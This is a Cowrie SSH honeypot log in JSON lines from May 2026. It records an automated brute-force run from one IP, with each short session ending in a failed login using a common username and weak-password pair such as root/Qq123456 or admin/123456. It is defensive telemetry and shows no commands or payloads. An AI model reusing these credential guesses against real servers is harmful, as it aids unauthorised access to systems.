{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:16.296271Z","src_ip":"192.109.200.237","session":"63e12db47431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:16.547082Z","src_ip":"192.109.200.237","session":"63e12db47431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:17.632443Z","src_ip":"192.109.200.237","session":"63e12db47431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"be388793c1ce","protocol":"ssh","message":"New connection: 192.109.200.237:38268 (159.203.135.109:22) [session: be388793c1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:19.346705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:19.351390Z","src_ip":"192.109.200.237","session":"be388793c1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:19.434086Z","src_ip":"192.109.200.237","session":"be388793c1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:19.681144Z","src_ip":"192.109.200.237","session":"be388793c1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:20.767135Z","src_ip":"192.109.200.237","session":"be388793c1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44132,"dst_ip":"159.203.135.109","dst_port":22,"session":"700ab77ffa4f","protocol":"ssh","message":"New connection: 192.109.200.237:44132 (159.203.135.109:22) [session: 700ab77ffa4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:22.445150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:22.449478Z","src_ip":"192.109.200.237","session":"700ab77ffa4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:22.533397Z","src_ip":"192.109.200.237","session":"700ab77ffa4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:22.784434Z","src_ip":"192.109.200.237","session":"700ab77ffa4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:23.871189Z","src_ip":"192.109.200.237","session":"700ab77ffa4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c5b60efb072","protocol":"ssh","message":"New connection: 192.109.200.237:44146 (159.203.135.109:22) [session: 1c5b60efb072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:25.475344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:25.479903Z","src_ip":"192.109.200.237","session":"1c5b60efb072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:25.562617Z","src_ip":"192.109.200.237","session":"1c5b60efb072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:25.808684Z","src_ip":"192.109.200.237","session":"1c5b60efb072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:26.894294Z","src_ip":"192.109.200.237","session":"1c5b60efb072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44160,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1ac6bf5571","protocol":"ssh","message":"New connection: 192.109.200.237:44160 (159.203.135.109:22) [session: bb1ac6bf5571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:28.604499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:28.608917Z","src_ip":"192.109.200.237","session":"bb1ac6bf5571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:28.690838Z","src_ip":"192.109.200.237","session":"bb1ac6bf5571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:29.023743Z","src_ip":"192.109.200.237","session":"bb1ac6bf5571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:30.108621Z","src_ip":"192.109.200.237","session":"bb1ac6bf5571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41140,"dst_ip":"159.203.135.109","dst_port":22,"session":"720ea35ac213","protocol":"ssh","message":"New connection: 192.109.200.237:41140 (159.203.135.109:22) [session: 720ea35ac213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:31.813103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:31.817851Z","src_ip":"192.109.200.237","session":"720ea35ac213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:31.899645Z","src_ip":"192.109.200.237","session":"720ea35ac213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:32.144746Z","src_ip":"192.109.200.237","session":"720ea35ac213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:33.228663Z","src_ip":"192.109.200.237","session":"720ea35ac213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0b409f4b596","protocol":"ssh","message":"New connection: 192.109.200.237:41144 (159.203.135.109:22) [session: a0b409f4b596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:34.934954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:34.940304Z","src_ip":"192.109.200.237","session":"a0b409f4b596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:35.026706Z","src_ip":"192.109.200.237","session":"a0b409f4b596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:35.273478Z","src_ip":"192.109.200.237","session":"a0b409f4b596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:36.358624Z","src_ip":"192.109.200.237","session":"a0b409f4b596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41152,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5dfc38b1fb","protocol":"ssh","message":"New connection: 192.109.200.237:41152 (159.203.135.109:22) [session: 4d5dfc38b1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:38.048786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:38.052592Z","src_ip":"192.109.200.237","session":"4d5dfc38b1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:38.134074Z","src_ip":"192.109.200.237","session":"4d5dfc38b1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:38.381707Z","src_ip":"192.109.200.237","session":"4d5dfc38b1fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:39.466886Z","src_ip":"192.109.200.237","session":"4d5dfc38b1fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38568,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7dd9a1425e","protocol":"ssh","message":"New connection: 192.109.200.237:38568 (159.203.135.109:22) [session: bb7dd9a1425e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:41.188247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:06:41.192462Z","src_ip":"192.109.200.237","session":"bb7dd9a1425e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 